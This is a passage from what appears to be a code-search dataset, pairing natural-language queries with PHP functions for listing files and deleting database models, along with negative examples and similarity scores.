$queryParams, $headerParams, $httpBody, 'GET');\n }", "function _generateFilesList() {\n return array();\n }", "public static function getSyncList()\n {\n $fileList = array();\n $project = EcrProjectHelper::getProject();\n $syncList = self::readSyncList();\n\n if(false === $syncList)\n throw new Exception(jgettext('No synchronization list found - Please synchronize with your remote'));\n\n $allCopies = array();\n\n foreach($project->copies as $copy)\n {\n $files = JFolder::files($copy, '.', true, true);\n\n $allCopies = array_merge($files, $allCopies);\n\n foreach($files as $file)\n {\n $fShort = str_replace(JPATH_ROOT.'/', '', $file);\n\n //-- File does not exist\n if( ! array_key_exists($fShort, $syncList))\n {\n $f = new stdClass;\n $f->path = $fShort;\n $f->status = 'new';\n\n $fileList[$fShort] = $f;\n }\n else\n {\n $f = $syncList[$fShort];\n\n //-- File size is different\n if($f->size != filesize($file))\n {\n $f->status = 'changed';\n\n $fileList[$fShort] = $f;\n }\n }\n }\n }\n\n foreach($syncList as $item)\n {\n if( ! in_array(JPATH_ROOT.'/'.$item->path, $allCopies))\n {\n $f = new stdClass;\n $f->path = $item->path;\n $f->status = 'deleted';\n\n $fileList[$item->path] = $f;\n }\n }\n\n ksort($fileList);\n\n return $fileList;\n }", "public function list_of_fileuploads() {\n $request = $_GET;\n $result = $this->fileupload_model->load_list_of_fileuploads($request, array());\n $result = getUtfData($result);\n echo json_encode($result);\n exit;\n }", "function get_list_of_flagged_files() {\n $result = $this->pdo->query('SELECT * FROM files WHERE flaggedfile = 1 ORDER BY date DESC');\n return $result;\n }", "function CountDirFiles($fromUrl, $fromDir, $login, $password, &$fileCount)\n{\n\t$url=$fromUrl.\"vscript.php?s=vftp&cmd=listdir&arg1=$fromDir\";\n\t$url.=\"&id=$login&code=$password\";\n\n\t$content=@file_get_contents($url);\n\tif ($content==false) {\n\t\tsleep(1);\n\t\t$content=@file_get_contents($url);\n\t}\n\tif ($content==false) {\n\t\tLogError(\"Couldn't get $url\");\n\t\treturn(\"Couldn't get recording files.\");\n\t}\n\n\t$files=explode(\"\\n\", $content);\n\t$count=count($files);\n\tif ($count==0 || $files[0]!='OK') {\n\t\tLogError(\"Invalid response \".$content);\n\t\treturn(\"Unknown error encountered.\");\n\t}\t\n\n\tfor ($i=1; $i<$count; $i++) {\n\t\t$filename=$files[$i];\n\t\t$len=strlen($filename);\n\t\tif ($len==0)\n\t\t\tcontinue;\n\t\telse if ($len>1 && $filename[$len-1]=='/') {\n\t\t\t$ret=CountDirFiles($fromUrl, $filename, $login, $password, $fileCount);\t\n\t\t\tif ($ret!='')\n\t\t\t\treturn $ret;\t\n\t\t} else {\n\n\t\t\t$fileInfo = pathinfo($filename);\n\t\t\t$extension=strtolower($fileInfo[\"extension\"]);\n\n\t\t\tif (strpos($extension, \"php\")!==false)\n\t\t\t\tcontinue;\n\t\t\t$fileCount++;\n\t\t}\n\t}\n\treturn '';\n}", "private static function file_list($d,$x){ \r\n\t\treturn array_diff(scandir(__DIR__.'/../../'.$d),array('.','..'));\r\n\t}", "function get_list_of_not_new_files() {\n $result = $this->pdo->query('SELECT * FROM files WHERE newfile = 0 AND flaggedfile = 0 ORDER BY date DESC');\n return $result;\n }", "function ls($directory);", "public function getFiles() : Array\n\t{\n\t\t$files = [];\n\n\t\tif ($this->exists() && $this->isReadable()) {\n\n\t\t\t$directory = opendir($this->directory);\n\t\t\twhile($opened = readdir($directory)) {\n\t\t\t\n\t\t\t\tif (is_file($this->directory . DIRECTORY_SEPARATOR . $opened) && !Directory::isBlockListed($opened)) {\n\t\t\t\t\t$files[] = $opened;\n\t\t\t\t}\n\t\t\n\t\t\t}\n\n\t\t\tclosedir($directory);\n\t\t}\n\n\t\treturn $files;\n\t}", "public function getFileList()\n {\n return array_map(\n function (FileEntry $file) {\n return $file->getFilename();\n },\n $this->pharchive->getFiles()\n );\n }", "public function list_files($archivefile) {\n if (!is_string($archivefile)) {\n return $archivefile->list_files();\n }\n\n $ziparch = new zip_archive();\n if (!$ziparch->open($archivefile, file_archive::OPEN)) {\n return false;\n }\n $list = $ziparch->list_files();\n $ziparch->close();\n return $list;\n }", "protected function _deleteFtpFiles()\n {\n if (is_callable('ftp_connect')) {\n $ftpServer = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_SERVER);\n $ftpUserName = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_USER);\n $ftpPass = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PASSWORD);\n $ftpPath = trim(Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PATH), '/');\n if ($ftpPath) {\n $ftpPath = $ftpPath.'/';\n }\n\n try {\n $connId = ftp_connect($ftpServer);\n\n $loginResult = ftp_login($connId, $ftpUserName, $ftpPass);\n if (!$loginResult) {\n return false;\n }\n ftp_pasv($connId, true);\n\n $ftpDir = $ftpPath?$ftpPath:'.';\n $nlist = ftp_nlist($connId, $ftpDir);\n if ($nlist === false) {\n return false;\n }\n foreach ($nlist as $file) {\n if (!preg_match('/\\.[xX][mM][lL]$/', $file)) {\n ftp_delete($connId, $file);\n }\n }\n\n ftp_close($connId);\n } catch (Exception $e) {\n Mage::log($e->getMessage());\n return false;\n }\n return true;\n } else {\n return false;\n }\n }", "public function getFiles ();", "public function getDataFilesList(){\r\n $data_dir = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'Data';\r\n $files = scandir($data_dir);\r\n\r\n $files_list = array();\r\n $index = 0;\r\n foreach ($files as $file) {\r\n if($file != '.' && $file != '..'){\r\n $files_list[$index]['name'] = $file;\r\n $files_list[$index]['update_time'] = filemtime($data_dir . DIRECTORY_SEPARATOR . $file);\r\n $files_list[$index]['type'] = $this->getFileType($file);\r\n $index++;\r\n }\r\n }\r\n\r\n $update_times = array();\r\n foreach($files_list as $data){\r\n $update_times[] = $data['update_time'];\r\n }\r\n array_multisort($update_times, SORT_DESC, $files_list);\r\n return $files_list;\r\n }", "public function getFiles()\n\t{\n\t\tif ($this->_files === null) {\n\t\t\t$command = 'show --pretty=\"format:\" --name-only '.$this->hash;\n\t\t\tforeach(explode(\"\\n\",$this->repository->run($command)) as $line) {\n\t\t\t\t$this->_files[] = trim($line);\n\t\t\t}\n\t\t}\n\t\treturn $this->_files;\n\t}", "public function execute($inputs = array(), $async = false, $store_results = true)\n {\n return new Google_Drive_Files_List_Execution($this->session, $this, $inputs, $async, $store_results);\n }", "public function getFileList()\r\n {\r\n $gid = $this->input->get_post('gid');\r\n if ($gid === FALSE)\r\n {\r\n // list all groups (by permission)\r\n $permission = $this->input->get_post('permission');\r\n $file_list = $this->_get_group_list($permission);\r\n $access_full_path = '';\r\n }\r\n else\r\n {\r\n // check permission\r\n $this->_check_group_permission();\r\n $access_full_path = $this->_get_access_full_path();\r\n $sortby = $this->input->get_post('sortby') ?: '+name';\r\n $file_list = $this->files_model->get_file_list($access_full_path, $sortby);\r\n }\r\n\r\n $format = $this->input->get_post('format');\r\n if ($format === 'jstree')\r\n {\r\n //$path = '/' . trim($this->input->get_post('path') ?: '', '/');\r\n $path = $this->input->get_post('path');\r\n $path = $path ? $path : '';\r\n $dironly = $this->input->get_post('dironly');\r\n $tree = array();\r\n foreach ($file_list as $file)\r\n {\r\n if ($dironly && $file['type'] === Files_model::FILE_TYPE_FILE)\r\n {\r\n continue;\r\n }\r\n // Give different directory icons based directories.\r\n $is_my_workspace = 0;\r\n if ($gid)\r\n {\r\n $is_my_workspace = $this->_is_my_workspace($gid);\r\n }\r\n else\r\n {\r\n $is_my_workspace = $this->_is_my_workspace($file['gid']);\r\n }\r\n $access_full_subpath = $access_full_path .'/'. $file['name'];\r\n\r\n $data_path = $file['type'] === Files_model::FILE_TYPE_FOLDER ? $path . '/' . $file['name'] : $path;\r\n if ($gid !== FALSE && $path === '' && $file['type'] === Files_model::FILE_TYPE_FOLDER)\r\n {\r\n $file['show_name'] = $this->files_model->get_system_folder_name($file['name']);\r\n }\r\n $tree[] = array(\r\n 'data' => array(\r\n 'title' => isset($file['show_name']) ? $file['show_name'] : $file['name'],\r\n 'attr' => array(\r\n 'href' => '#',\r\n ),\r\n ),\r\n 'attr' => array(\r\n 'data-name' => $file['name'],\r\n 'data-gid' => $gid === FALSE ? $file['gid'] : $gid,\r\n 'data-path' => $gid === FALSE ? '' : $data_path,\r\n 'data-size' => $file['size'],\r\n 'data-crumb'=> $file['type'] == Files_model::FILE_TYPE_FOLDER ? $this->login->get_crumb($access_full_subpath) : '',\r\n 'class' => $file['type'] == Files_model::FILE_TYPE_FOLDER ? 'folder' : 'file',\r\n 'rel' => $is_my_workspace ? 'user-folder' : 'folder',\r\n ),\r\n 'state' => $file['type'] == Files_model::FILE_TYPE_FOLDER ? 'closed' : '',\r\n );\r\n }\r\n $this->_outputJSON($tree);\r\n }\r\n\r\n $resp['status'] = 'ok';\r\n $resp['errno'] = $resp['errmsg'] = '';\r\n $resp['list'] = $file_list;\r\n $this->_outputJSON($resp);\r\n }", "public function execute($inputs = array(), $async = false, $store_results = true)\n {\n return new RapidShare_ListFiles_Execution($this->session, $this, $inputs, $async, $store_results);\n }", "function dir_list($path=\"\")\n\t{\n\t\t$s=\"\";\n\t\tif($this->pasv())\n\t\t{\n\t\t\tif($path == '')\n\t\t\t{\n\t\t\t\t$this->sock_write(\"LIST\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->sock_write(\"LIST $path\");\n\t\t\t}\n\t\t\tif($this->is_ok())\n\t\t\t{\n\t\t\t\twhile(true)\n\t\t\t\t{\n\t\t\t\t\t$line = fgets($this->data_sock);\n\t\t\t\t\t$s .= $line;\n\t\t\t\t\tif($line =='')\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $s;\n\t}", "function list_files($folder = '', $levels = 100, $exclusions = array(), $include_hidden = \\false)\n {\n }", "private function getHistoricFilesList()\n\t{\n\t\t$historic_files = array();\n\t\t$files = $this->ftpConnection->listFiles($this->shop->ftp_dir);\n\t\tforeach ($files as $file) {\n\t\t\tif (defined('PATHINFO_EXTENSION')) {\n\t\t\t\tif (pathinfo($file, PATHINFO_EXTENSION) == \"csv\") {\n\t\t\t\t\t$historic_files[$file] = array(\n\t\t\t\t\t\t'name' => $file,\n\t\t\t\t\t\t'size' => $this->ftpConnection->getFileSize($file)\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $historic_files;\n\t}", "public function getFiles();", "public function getFiles();", "public function getFiles();", "public function getFilesList($request)\n {\n $returnType = '\\Aspose\\Imaging\\Model\\FilesList';\n $isBinary = false;\n $hasReturnType = true;\n $request = $this->getHttpRequest($request, 'GET');\n $options = $this->createHttpClientOptions();\n \n try {\n $response = $this->client->send($request, $options);\n return $this->processResponse($request, $response, $hasReturnType, $returnType, $isBinary);\n } catch (RequestException $e) {\n $this->processException($e);\n }\n }", "private function obtainValidFiles(array &$files, array &$dir_list) {\n $files = self::filterDirs($files, $dir_list);\n return self::testFiles($files, 'file_test');\n }", "public function testListDirectory()\n {\n $temp = BASE_FOLDER . '/.dev/Tests/Data/Testcases';\n\n $this->options = array(\n 'recursive' => false,\n 'exclude_files' => false,\n 'exclude_folders' => false,\n 'extension_list' => array(),\n 'name_mask' => null\n );\n $this->path = BASE_FOLDER . '/.dev/Tests/Data/Testcases/';\n\n $adapter = new fsAdapter($this->action, $this->path, $this->filesystem_type, $this->options);\n\n $this->assertEquals(1, count($adapter->fs->data));\n\n return;\n }", "function ft_hook_dirlist() {}", "public function files() :array\n {\n $files = DB::query(\"SELECT `ft_filename` AS 'filename', `ft_size` AS 'size' FROM `file_table` WHERE `ft_ut_id` = :u_id ORDER BY `ft_filename` ASC\", array(':u_id'=>$_SESSION['user_id']));\n\n $list = [];\n $i = 0;\n\n foreach($files as $file){\n $list[$i] = array($file['filename'], round($file['size']/1024, 2));\n $i++;\n }\n return $list;\n }", "public static function files($filePath)\n\t{\n\t\t$files = [];\n\t\tforeach(scandir($filePath) as $check){\n\t\t\tif(self::isFile($check)){\n\t\t\t\t$files[] = $check;\n\t\t\t}\n\t\t}\n\n\t\treturn $files;\n\t}", "function directory_list($directory_base_path, $filter_dir = false, $filter_files = false, $exclude = \".|..|.DS_Store|.svn\", $recursive = true)\r\n\t{\r\n\t\t$directory_base_path = rtrim($directory_base_path, \"/\") . \"/\";\r\n\r\n\t\tif ( !is_dir($directory_base_path) )\r\n\t\t{\r\n\t\t\terror_log(__FUNCTION__ . \"File at: $directory_base_path is not a directory.\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\t$result_list = array();\r\n\t\t$exclude_array = explode(\"|\", $exclude);\r\n\r\n\t\tif ( !$folder_handle = opendir($directory_base_path) )\r\n\t\t{\r\n\t\t\terror_log(__FUNCTION__ . \"Could not open directory at: $directory_base_path\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\twhile ( false !== ($filename = readdir($folder_handle)) )\r\n\t\t\t{\r\n\t\t\t\tif ( !in_array($filename, $exclude_array) )\r\n\t\t\t\t{\r\n\t\t\t\t\tif ( is_dir($directory_base_path . $filename . \"/\") )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif ( $recursive && strcmp($filename, \".\") != 0 && strcmp($filename, \"..\") != 0 )\r\n\t\t\t\t\t\t{ // prevent infinite recursion\r\n\t\t\t\t\t\t\terror_log($directory_base_path . $filename . \"/\");\r\n\t\t\t\t\t\t\t$result_list[$filename] = $this->directory_list(\"$directory_base_path$filename/\", $filter_dir, $filter_files, $exclude, $recursive);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telseif ( !$filter_dir )\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$result_list[] = $filename;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\telseif ( !$filter_files )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$result_list[] = $filename;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tclosedir($folder_handle);\r\n\t\t\treturn $result_list;\r\n\t\t}\r\n\t}", "public function getFiles($dir){\n\t\tif(!$this->connected){\n\t\t\treturn false;\n\t\t}\n\t\treturn $this->apiCall('getfiles',array('dir'=>$dir),true);\n\t}", "public function listFiles($start_dir)\n\t{\n\t\t$files = array();\n\t\t$dir = opendir($start_dir);\n\t\twhile(($myfile = readdir($dir)) !== false)\n\t\t\t{\n\t\t\tif($myfile != '.' && $myfile != '..' && !is_file($myfile) && $myfile != 'resource.frk' && $myfile != 'index.php' && $myfile != '.htaccess' )\n\t\t\t\t{\n\t\t\t\t$files[] = $myfile;\n\t\t\t\t}\n\t\t\t}\n\t\tclosedir($dir);\n\t\treturn $files;\n\t}", "function get_list_lfiles($dir){\n\t\tif(!is_dir(APPPATH.\"language/$dir/\")){\n\t\t\treturn FALSE;\n\t\t}\n\t\t$dir = APPPATH.\"language/$dir/\";\n\t\t$dh = opendir($dir);\n\t\twhile (false !== ($filename = readdir($dh))) {\n\t\t\tif($filename!=='.' && $filename!=='..' && !is_dir($dir.$filename) && pathinfo($filename, PATHINFO_EXTENSION)=='php' && substr($filename,0,7)!='backup_'){\n\t\t\t\t$files[] = $filename;\n\t\t\t}\n\t\t}\n\t\treturn (!empty($files))?$files:FALSE;\n\t}", "public function getList(\n $recursive = false,\n $exclude_files = false,\n $exclude_folders = false,\n $extension_list = array(),\n $name_mask = null\n ) {\n if (is_file($this->path)) {\n return $this->read();\n }\n\n if ($exclude_folders === true) {\n } else {\n foreach ($this->directories as $directory) {\n\n if ($recursive === false) {\n if ($this->path == $directory) {\n $files[] = $directory;\n }\n } else {\n $files[] = $directory;\n }\n }\n }\n\n if ($exclude_files === true) {\n } else {\n foreach ($this->files as $file) {\n\n if ($recursive === false) {\n if ($this->path == pathinfo($file, PATHINFO_DIRNAME)) {\n $files[] = $file;\n }\n\n } else {\n $files[] = $file;\n }\n }\n }\n\n if (count($files) > 0) {\n asort($files);\n }\n\n $this->data = $files;\n\n return;\n }", "public function getFilesListAsync($request) \n {\n $returnType = '\\Aspose\\Imaging\\Model\\FilesList';\n $isBinary = false;\n $hasReturnType = true;\n $request = $this->getHttpRequest($request, 'GET');\n $options = $this->createHttpClientOptions();\n\n return $this->client\n ->sendAsync($request, $options)\n ->then(\n function ($response) use ($request, $hasReturnType, $returnType, $isBinary) {\n return $this->processResponse($request, $response, $hasReturnType, $returnType, $isBinary);\n },\n function ($exception) use ($request) {\n $this->processException($exception);\n }\n );\n }", "function getListOfFiles(){\n $result = \"\";\n $directoryFiles = scandir(\"uploads/\");\n $amount = count($directoryFiles);\n if($amount > 2){\n $result .= '<div class=\"listFile\"><ul class=\"blue\">'; \n $r = 0;\n for ($i = 2; $i < $amount; $i++) { \n $r++;\n if (preg_match(\"/(jpg|jpeg|png|gif)$/\", $directoryFiles[$i])) {\n $result .= '<li><a href=\"uploads/'. $directoryFiles[$i] . '\" download><img class=\"minIcon\" src=\"uploads/'.\n $directoryFiles[$i] . '\" alt=\"' . $directoryFiles[$i] . '\">';\n $filesize = filesize('uploads/'. $directoryFiles[$i]);\n $newFileSize = convertFileSize($filesize);\n $result .= '<span>' . $directoryFiles[$i] . ' (Size is: ' . $newFileSize . ')</span></a></li>';\n } \n }\n $result .= '</ul></div>';\n }\n\n return $result; \n }", "function dcs_dropship_getOrderInvoices()\r\n{\r\n\tglobal $dropshipFTPServer;\r\n\tglobal $dropshipFTPOutDirectory;\r\n\r\n\tdcsLogToFile( \"getOrderInvoices starts.\" );\r\n\t$conn_id = ftp_connect( $dropshipFTPServer );\r\n\t$login_result = ftp_login( $conn_id, get_option(DCS_DROPSHIP_FTP_USER), get_option(DCS_DROPSHIP_FTP_PASSWORD) );\r\n\tdcsLogToFile( \"Login results: \" . $login_result );\r\n\tftp_chdir( $conn_id, $dropshipFTPOutDirectory );\r\n\t$contents = ftp_nlist( $conn_id, \"Order_Invoice_*.tab\" );\r\n\r\n\r\n\tforeach( $contents as $file )\r\n\t{\r\n\t\tif( ftp_get($conn_id, DCS_DROPSHIP_DIR.\"files/\".$file, $file, FTP_BINARY) )\r\n\t\t{\r\n\t\t\tdcsLogToFile( \"Got invoice: \" . $file );\r\n\t\t\tdcs_dropship_loadInvoiceFromFile( $file );\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tdcsLogToFile( \"Get for: \" . $file . \" failed.\" );\r\n\t\t}\r\n\t}\r\n\r\n\tdcsLogToFile( \"getOrderInvoices ends.\" );\r\n}", "function ListFiles($folder,$mask)\r\n{\t// $extension is like '*.png'\r\n\t$images = glob(\"\" . $folder . $mask);\r\n\treturn $images;\r\n}", "function read_file_list() {\n // read from file\n $listFile = fopen(\"images/filelist.txt\", \"r\");\n $list = fread($listFile, filesize(\"images/filelist.txt\"));\n fclose($listFile);\n\n // convert to array\n $list = explode(\"\\n\", $list);\n return $list;\n}", "public function getFiles(): array\n {\n try {\n if (count($this->_filesCollection) === 0) {\n $path = $this->_flysystemHelper->getCurrentPath();\n\n $contents = $this->_flysystemManager->getAdapter()->listContents($path);\n foreach ($contents as $file) {\n if ($this->validateFile($file)) {\n $this->_filesCollection[] = $file;\n }\n }\n }\n } catch (\\Exception $e) {\n $this->_messageManager->addErrorMessage($e->getMessage());\n return [];\n }\n\n return $this->_filesCollection;\n }", "function listAllHosts() {\n $execute = LIST_COMMAND;\n exec($execute, $output, $retVal);\n return $output;\n}", "public function getLogFiles()\n {\n // Check if path exists\n $path = Mage::getBaseDir('var') . DS . 'log' . DS;\n if (!file_exists($path)) {\n return array();\n }\n\n // Return file list\n $io = new Varien_Io_File();\n $io->open(\n array(\n 'path' => $path\n )\n );\n return $io->ls(Varien_Io_File::GREP_FILES);\n }", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/jestr.php',\n 'sources_custom/forum/cns.php',\n 'lang_custom/EN/jestr.ini',\n 'themes/default/templates_custom/EMOTICON_IMG_CODE_THEMED.tpl',\n 'forum/pages/modules_custom/topicview.php',\n 'sources_custom/hooks/systems/config/jestr_avatar_switch_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_emoticon_magnet_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_leet_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_name_changes.php',\n 'sources_custom/hooks/systems/config/jestr_name_changes_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_piglatin_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_string_changes.php',\n 'sources_custom/hooks/systems/config/jestr_string_changes_shown_for.php',\n );\n }", "public function checkDeleteFiles($arrFilelist)\n {\n $arrReturn = array();\n\n foreach ($arrFilelist as $keyItem => $valueItem)\n {\n if (!file_exists(TL_ROOT . \"/\" . $valueItem[\"path\"]))\n {\n $arrReturn[$keyItem] = $valueItem;\n $arrReturn[$keyItem][\"state\"] = SyncCtoEnum::FILESTATE_DELETE;\n $arrReturn[$keyItem][\"css\"] = \"deleted\";\n }\n }\n\n return $arrReturn;\n }" ]
[ "0.75927025", "0.735523", "0.7239058", "0.62697953", "0.6045586", "0.58204794", "0.57982796", "0.5712228", "0.56991804", "0.5677746", "0.5637394", "0.56049067", "0.5580058", "0.5569776", "0.55688524", "0.55172867", "0.550196", "0.54752636", "0.5443464", "0.54299235", "0.54196376", "0.5397057", "0.53862494", "0.538101", "0.53804517", "0.5379737", "0.5354759", "0.53492934", "0.5345539", "0.53383213", "0.53174746", "0.52706593", "0.52640224", "0.52444506", "0.52407175", "0.5234682", "0.5230448", "0.5199687", "0.5186666", "0.5144918", "0.5127881", "0.5122318", "0.5120343", "0.5119062", "0.5113395", "0.5109324", "0.510784", "0.5074861", "0.5061667", "0.50577337", "0.50576943", "0.5057353", "0.50423616", "0.50218725", "0.50141865", "0.5012065", "0.49979118", "0.49905172", "0.49896264", "0.49821723", "0.49802682", "0.49692607", "0.49669358", "0.49468637", "0.49349755", "0.49215248", "0.4921003", "0.49177468", "0.49130678", "0.49070364", "0.49013427", "0.4897929", "0.4885102", "0.48759738", "0.4870431", "0.4865017", "0.4861105", "0.4861105", "0.4861105", "0.48586705", "0.4852898", "0.48342863", "0.48327136", "0.48279518", "0.48245662", "0.48127002", "0.48112157", "0.48088723", "0.48009098", "0.47975704", "0.47962898", "0.4791421", "0.47899747", "0.478216", "0.47701684", "0.47688323", "0.47603002", "0.47593963", "0.4750953", "0.4749729" ]
0.57105863
8
Delete the models from the database
public function delete() { $class = strtolower(get_called_class()); $table = self::$_table_name != null ? self::$_table_name : $class . 's'; $pdo = PDOS::getInstance(); $whereClause = ''; foreach (static::$_primary_keys as $pk) $whereClause .= $pk . ' = :' . $pk . ' AND '; $whereClause = substr($whereClause, 0, -4); $sql = 'DELETE FROM ' . $table . ' WHERE ' . $whereClause; $query = $pdo->prepare($sql); $attributes = $this->getAttributes(new \ReflectionClass($this)); foreach ($attributes as $k => $v) { if (in_array($k, static::$_primary_keys)) $query->bindValue(':' . $k, $v); } $query->execute(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function deleteAll()\n {\n $this->ensureModels();\n foreach ($this->_models as $model) {\n $model->delete();\n }\n }", "public function clearModels();", "public function uninstall() {\r\n\tforeach ($this->getModel() AS $model) {\r\n\t $this->getEntity($model->getName())->deleteTable();\r\n\t}\r\n }", "public static function clearBootedModels();", "public function deleteAll()\n {\n return $this->model::query()->delete();\n }", "public abstract function deleteModel(\\MPF\\Db\\Model $model);", "public function run()\n {\n Model::unguard();\n\n DB::table('documents__objects')->delete();\n DB::table('documents__pool')->delete();\n }", "public function delete(){\r\n\t\t$this->db->delete();\r\n\t}", "public function delete()\n {\n $entities = $this->entities;\n Database::getInstance()->doTransaction(\n function() use ($entities)\n {\n foreach ($entities as $entity)\n {\n $entity->delete();\n }\n }\n );\n }", "public function deleteTables () {\n $this->usersDB->deleteTables();\n $this->categoriesDB->deleteTables();\n $this->itemsDB->deleteTables();\n }", "protected function deleteAll()\n {\n Yii::$app->db->createCommand()\n ->delete($this->tableName, [$this->primaryKey => $this->owner->{$this->primaryKey}])\n ->execute();\n }", "public function deleteTables()\n {\n Artisan::call('db:wipe');\n Artisan::call('migrate');\n\n }", "public function deleteAll(){\n try {\n $this->getTable()->delete();\n } catch (\\Exception $e) {\n $this->handleException($e);\n }\n return;\n }", "function delete() {\n $this->db->delete(self::table_name, array('id' => $this->id));\n // need to delete from tag maps too\n // tbd\n }", "private function cleanDatabase()\n {\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0');\n\n foreach($this->tables as $table)\n {\n\n DB::table($table)->truncate();\n\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1');\n\n\n }", "public function delete(Model $model);", "public function delete(Model $model);", "public function actionClearDb()\n {\n if (YII_DEBUG) {\n $db = Yii::$app->db;\n //$db->createCommand()->truncateTable('{{%forsage_studio}}')->execute();\n /*$db->createCommand()->truncateTable(ProductImage::tableName())->execute();\n $db->createCommand()->truncateTable(ProductCategoryRef::tableName())->execute();\n $db->createCommand()->truncateTable(ProductAttributesEav::tableName())->execute();\n\n $db->createCommand()->truncateTable(AttributeOption::tableName())->execute();\n $db->createCommand()->truncateTable(Attribute::tableName())->execute();*/\n\n $db->createCommand()->truncateTable(ProductCategoryRef::tableName())->execute();\n $db->createCommand()->truncateTable(Category::tableName())->execute();\n\n\n if ($db->createCommand('SELECT * FROM ' . Product::tableName() . ' WHERE forsage_id IS NOT NULL')->query()->count()) {\n $db->createCommand()->delete(Product::tableName(), ['not', ['forsage_id' => null]])->execute();\n //$db->createCommand()->truncateTable(Product::tableName() . ' WHERE forsage_id IS NOT NULL')->execute();\n }\n if ($db->createCommand('SELECT * FROM ' . Brand::tableName() . ' WHERE forsage_id IS NOT NULL')->query()->count()) {\n //$db->createCommand()->truncateTable(Brand::tableName() . ' WHERE (forsage_id IS NOT NULL)')->execute();\n $db->createCommand()->delete(Brand::tableName(), ['not', ['forsage_id' => null]])->execute();\n }\n if ($db->createCommand('SELECT * FROM ' . Supplier::tableName() . ' WHERE forsage_id IS NOT NULL')->query()->count()) {\n //$db->createCommand()->truncateTable(Supplier::tableName())->execute();\n $db->createCommand()->delete(Supplier::tableName(), ['not', ['forsage_id' => null]])->execute();\n }\n $db->createCommand()->truncateTable('{{%shop__type_attribute}}')->execute();\n $db->createCommand()->truncateTable(ProductImage::tableName())->execute();\n $db->createCommand()->truncateTable(AttributeOption::tableName())->execute();\n\n $model = new Category;\n $model->name = 'Каталог продукции';\n $model->lft = 1;\n $model->rgt = 2;\n $model->depth = 1;\n $model->slug = 'root';\n $model->full_path = '';\n if ($model->validate()) {\n $model->saveNode();\n }\n } else {\n echo 'YII_DEBUG disabled!.';\n }\n }", "function delete() {\n\t\t$sqlStatements = array();\n\t\t$sqlStatements[] = \"DROP TABLE IF EXISTS tags\";\n\t\t$sqlStatements[] = \"DROP TABLE IF EXISTS siteViews\";\n\t\texecuteSqlStatements($sqlStatements);\n\t}", "public function deleteAll()\n {\n //Find and destroy\n $entities = $this->findAll();\n return $this->deleteAll($entities);\n }", "static function deleteAll()\n {\n $GLOBALS['DB']->exec(\"DELETE FROM stores;\");\n $GLOBALS['DB']->exec(\"DELETE FROM stores_brands;\");\n }", "public function run() {\n DB::collection('log')->delete();\n \tDB::collection('redeem')->delete();\n \tDB::collection('speaks')->delete();\n DB::collection('origin_words')->delete();\n \tDB::collection('translated_words')->delete();\n DB::collection('categorized_words')->delete();\n }", "public function clearDb ()\n {\n // Empty tables and reset auto-increment values\n $this->_dbh->query('SET FOREIGN_KEY_CHECKS = 0');\n foreach (self::$dbTables as $table) {\n $stmt = $this->_dbh->prepare('TRUNCATE `' . $table . '`');\n $stmt->execute();\n $stmt = $this->_dbh->prepare('ALTER TABLE `' . $table . '` AUTO_INCREMENT = 1');\n $stmt->execute();\n }\n // Re-enable checks only if set as such in config\n $config = parse_ini_file('config/AcToBs.ini', true);\n if (isset($config['checks']['fk_constraints']) && $config['checks']['fk_constraints'] == 1) {\n $this->_dbh->query('SET FOREIGN_KEY_CHECKS = 1');\n }\n // Delete denormalized tables\n foreach (self::$dbDenormalizedTables as $table) {\n $stmt = $this->_dbh->prepare('DROP TABLE IF EXISTS `' . $table . '`');\n $stmt->execute();\n }\n // Delete non-standard taxonomic ranks\n $stmt = $this->_dbh->prepare(\n 'DELETE FROM `taxonomic_rank` WHERE `standard` = ?');\n $stmt->execute(array(\n 0\n ));\n unset($stmt);\n }", "public function delete($model);", "public function delete()\n {\n foreach ($this->versions as $version)\n {\n $version->delete();\n }\n\n parent::delete();\n }", "public function deleted(Request $model)\n {\n $models = [\n 'engagement',\n 'address',\n ];\n\n foreach($models as $relation){\n $model->$relation()->delete();\n }\n }", "public function delete()\n {\n Db::getInstance()->delete($this->getTableName(), ['id' => $this->getId()]);\n }", "public function deleteAll(){\n if(APPLICATION_ENV == 'production'){\n throw new Exception(\"Not Allowed\");\n }\n $this->getMapper()->deleteAll();\n }", "public function deleteAll()\n {\n return Laranote::where('model', get_class($this))\n ->where('model_id', $this->id)\n ->delete();\n }", "protected function performDeleteOnModel()\n {\n $this->newQuery()->delete($this->fileName);\n }", "public function delete() {\n global $DB;\n $DB->delete_records($this->get_table_name(), array('id' => $this->id));\n }", "public function delete($models)\n {\n if ($models->isEmpty()) {\n return;\n }\n\n $ids = $models->map(function ($model) {\n return $model->getScoutKey();\n });\n\n $query = $this->client->createUpdate();\n $query->addDeleteByIds($ids->toArray());\n $query->addCommit();\n\n $endpoint = $models->first()->searchableAs();\n $this->client->update($query, $endpoint);\n }", "public function deleteDatabaseStructure( );", "public function deleting($model)\n\t{\n\t}", "private function purgeExisting() 